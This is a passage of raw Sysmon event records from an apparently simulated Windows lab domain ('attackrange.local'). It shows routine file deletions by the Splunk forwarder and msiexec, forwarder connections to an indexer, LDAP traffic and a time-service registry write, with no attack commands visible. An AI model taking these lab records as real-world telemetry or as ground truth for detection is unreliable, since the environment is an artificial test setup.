14:42:48.269{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\PublisherPolicy.tmeMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038355Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:49.722{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\PublisherPolicy.tmeMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038354Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:49.629{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=3B9BC319C109A6229CE6B2C9DDB48C6F,SHA256=7ED9F7732784EAB1B4B1DC41C78B0B3EB04CD9BEC41A1D15E73EC40FAAE6C1E4,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038353Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:49.458{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CF2FCA58ADBDF36CDFD075AFF4A0734E,SHA256=72ED30E5B6EF54B271DC44F86662EDA084B2ED4BC60930BBC7BF5B6145693E2E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013570Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:49.595{625C326B-67EE-613B-1B00-00000000F101}1908NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-0e4d5849e4b95ca2f\channels\health\surveyor-20210910141303-029MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013569Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:49.485{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BD06BDFE8D8763785DAFE596FD409DA7,SHA256=C13FADBCFE1F4BCA544F9BA84EAD1E350617A36137EBE8D779325EAB19C6096B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013571Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:50.494{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B370F35C6BA2BD312F67893256D1AF58,SHA256=4231CDD8499F13503AA6577629B2662649D974645F6C5BD12524B66F091BF365,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038357Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:50.654{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=5634B54598AD3F5D246DA0342A63D2CF,SHA256=12E0D33981A7DD1D7D825CEDBB6A8CF16D1F80FC5C02571BE44BB6712B8D57F8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038356Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:50.482{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=90CCDD716BAFADEF0C897FCA9D043F10,SHA256=6A05BA383317C986C500A0019CEB35F5AC39F905ED44BEAB5B8D0671B7DA8950,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013572Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:51.540{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8F47EC2FD10E06F7D0DEF3FD1FC38E33,SHA256=971C324264401FF7C06D5C7100DDC2FD1DA462DEDD9C8EBD5F7CCA37A869C163,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038360Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:51.701{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=393803EA65ED3D06FC44E1F22240DF04,SHA256=E1D475DCA81410B09C81AD1CAE53E14BE469FDD20453B09FE26C826C3F96221B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038359Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:51.654{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\PublisherPolicy.tmeMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038358Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:51.560{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=107B98DAFCF55B18B1B7563CA108E8A1,SHA256=B99A5DF056FA1CF22A4FE1A80F0303119B91F3DA80AA6FF005674AE93251ACAA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038364Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:52.966{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\PublisherPolicy.tmeMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038363Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:52.764{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=E9B439970C2CA9BBB7D3ED5BE74CE784,SHA256=43D1967283AB0F0AB0884764825E187C43C58D15E3FD25199E5F32C037DF3629,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038362Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:52.716{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=80BF7EC67C696EEFFAC149767FC74AA6,SHA256=951FEDF81AF7C4F9614E202E398AE6BFF22D9BCF2177AD9894C0F5FEF098A9A8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013573Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:52.634{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=821727900EDB5F913B7EF8BAD4822BA2,SHA256=9E72023C3EE54E0CD3D244C3EDDB1F937474AD629E6D733E4C9B9AE455F5DF2C,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000038361Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:50.461{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59198-false10.0.1.12-8000- 23542300x800000000000000038367Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:53.841{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=0F37B2935334AF650ED3C21019BB2652,SHA256=AA737D196D6F89FA1EA0B4F90E26E5EF06AC0A96820211EE7ECA81C0912F42F1,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038366Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:53.826{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=56972F2693E39D4917095858CA81FD42,SHA256=E079246EDA83187A1C1C6035101722E6BD8A394F2758F8BB09709DA90449BBE0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013574Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:53.665{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9F0C88E93439632B833C1A28C5F9D2DF,SHA256=0161C83C5D91DB90331E05DB988BEAECC91F441CE4BA587C0E391C2167A04A96,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038365Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:53.670{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\PublisherPolicy.tmeMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038370Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:54.857{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=1DDCC2ED4F97AD93CB8BDCDBFE012480,SHA256=1484503163589627A8A42791348D1C6C21E8727DE531768818E5B479DEF26A6B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038369Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:54.841{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5891E77526E0A28FB2A394DAC72718F0,SHA256=F1BFB4F416AAD413E5514BBC3D73348CF4C18A887FF785480AF4E52F92EE2A84,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013576Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:54.712{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9D854F5C0CD4E9A1B6FB1FC2352224D9,SHA256=D26715AB33369D7ADE8ED5F4459B271CAA3E91DB1B111685A66BB2BDA751F5BB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038368Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:54.310{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\PublisherPolicy.tmeMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013575Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:54.619{625C326B-6879-613B-A400-00000000F101}2004NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013578Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:55.728{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7BF8B88384CC512F0072FC13538A842B,SHA256=559EA7A29C62C85069A8DD0B315C4994F15C1C50C86E663C4CB8E6BCD790A775,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038373Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:55.920{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=188DAD8A04B4A8AF8BE7D7B05A7F7A42,SHA256=51449278E58C679F12A40C6A3135B665A81957AD9DB68F7843ACD837FF39CC1B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038372Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:55.904{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=A071680AADB64282203211021582A512,SHA256=9F0AF9A6E8396D7E2454F10D90DFCFB8DE4C96009D2C27B84B55ECC50C6EFA15,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038371Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:55.607{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\PublisherPolicy.tmeMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000013577Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:53.465{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50097-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000013579Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:56.744{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4B8833BB78FABB01D9879F7E7CEB5810,SHA256=C3BEEDC55A64EA7148EF48B539867705C0164E3057ABC5D92BD1C0B05854FD77,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038376Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:56.951{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\PublisherPolicy.tmeMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038375Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:56.935{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=48A20468445C65BBA6B05F67281A3227,SHA256=94BBDDCFDC6C707B0B5217884FD6074273C2DB6604B969C5D4C6E7BC0C98619A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038374Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:56.310{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\PublisherPolicy.tmeMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013581Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:57.759{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3EA5AC79D129D4599531AD8B1B42B729,SHA256=19C9C6D6067D7E765A84F2511F9846D0CA0AECA2FFB1D2C202E42BEAF032331F,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000013580Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:54.934{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50098-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8089- 23542300x800000000000000038377Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:56.998{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BC40172C2AE8E03D0A6DBD02E360E406,SHA256=727BC366CA826F946087A64E160B98D68CC0760B29003C54211BF90AF507790A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013582Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:58.775{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9CB0D149309D62C444CD864AC0656284,SHA256=557BD43B3D72E6169244312E9DB4533783534513810BE3F4552EA601F298AE3A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038382Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:58.966{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\PublisherPolicy.tmeMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000038381Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:56.383{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59199-false10.0.1.12-8000- 23542300x800000000000000038380Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:58.248{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\PublisherPolicy.tmeMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038379Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:58.045{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DE11627B83F4EC1ABCE70AE079AED5DE,SHA256=6E46389BB286A26026DC465A14FA115C474FD28E8E8FD38474AF49BD0FB5EE6E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038378Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:58.029{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=BCA256DBAF8162C52052EBC571A17AFF,SHA256=9F37C2ABD80232711AF0AAA641D9F335A2EBA465882E5378A7205CE5F4843517,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013583Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:42:59.790{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=80AA30FA1D67650C680D11C42CF6C445,SHA256=0006C4156479AB93DE0941FC2E140D2561EA7B30290F7ACC8C7C5B96E638BC29,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000038390Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:57.495{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59200-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 354300x800000000000000038389Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:57.495{7BD73061-65BF-613B-2700-00000000F001}2852C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exeNT AUTHORITY\SYSTEMtcptruetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59200-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 23542300x800000000000000038388Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:59.748{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\PublisherPolicy.tmeMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038387Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:59.404{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=8C02F1A641E920119E1B49A74B3D38A3,SHA256=0AE78AB22D90010D12F018595502D86EFD5C871DAD25C959C956B8BD749E3258,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038386Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:59.404{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=8D845F47BC758687CE17086B25A513FD,SHA256=3FCF3ED2902EB6009205EE9951B5955B41C9543D77E70F5E9C329D101D3C1C6D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038385Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:59.107{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=EDADB8AE088017BA02EB740E818FA09E,SHA256=3CFCDB91B243D4964403A8F82D8D9D9919EB20F36CB72C54532FE85D552CDA80,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038384Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:42:59.061{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=2A92DB776B7A67A6FB49C95F072B7A59,SHA256=47927C72E44737A6103C824B4D016F14A25BD401D47B89A460A02BC172787067,IMPHASH=00000000000000000000000000000000falsetrue 13241300x800000000000000038383Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-SetValue2021-09-10 14:42:59.061{7BD73061-65B2-613B-1000-00000000F001}364C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\W32Time\Config\LastKnownGoodTimeQWORD (0x01d7a652-0x2649c683) 23542300x800000000000000013585Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:00.806{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0723CA8AA19A3529CAFECBECE69820AF,SHA256=13D70C10D580AA2904B441457460E43BE4F5E3CAA5DE0CF6DC229DF93B7C7A08,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038392Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:00.170{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program 